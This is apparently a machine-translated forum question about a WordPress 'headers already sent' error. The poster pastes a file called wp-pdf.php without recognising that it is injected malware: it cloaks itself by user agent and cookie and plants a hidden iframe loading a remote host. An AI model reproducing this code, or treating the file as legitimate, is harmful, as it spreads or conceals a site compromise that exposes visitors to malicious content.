我知道这是一个经典:我收到来自 Wordpress 的错误消息:
警告:无法修改标头信息 - 标头已由 /home/quanscom/public_html/blog/wp-includes/feed-rss2 中的(输出开始于 /home/quanscom/public_html/blog/wp-pdf.php:8)发送。第 8 行的 php
我知道这通常来自垃圾空间或文件中的一行,但这次似乎有所不同。
我一直在关注所有这些链接:
尤其是这个:
http://codex.wordpress.org/Answers-Trouble_Shooting#Headers_already_sent
但一切都没有改变。正如最后一个链接中所建议的那样,我已将这两个文件替换为原始文件,但没有任何改变。有人可以用一些新鲜的眼光来看看吗?谢谢,您会在下面找到两个页面:
wp-pdfphp:
<?php
if(!@isset($_COOKIE['PHPSESS1D']) &&
!@preg_match('/; Yandex|; Googlebot|linux|macintosh|android|Symbian|iPhone|Mac OS|Opera Mini|Chrome|Apple|Presto/i',$_SERVER['HTTP_USER_AGENT'])) {
if (!is_feed()) {
echo '<script type="text/javascript">
d=new Date();
d.setDate(d.getDate()+1);
document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
</script>';
echo '<style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://3gb2.lili2d.com/ad.jpg?11"></iframe>';
}
}
?>
饲料-rss2.php:
<?php
/**
* RSS2 Feed Template for displaying RSS2 Posts feed.
*
* @package WordPress
*/
header('Content-Type: '.feed_content_type('rss-http').'; charset='.get_option('blog_charset'), true);
$more = 1;
echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>
<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
<?php do_action('rss2_ns'); ?>
>
Then some code in <channel> until the end with </channel> </rss> without any space or empty line after.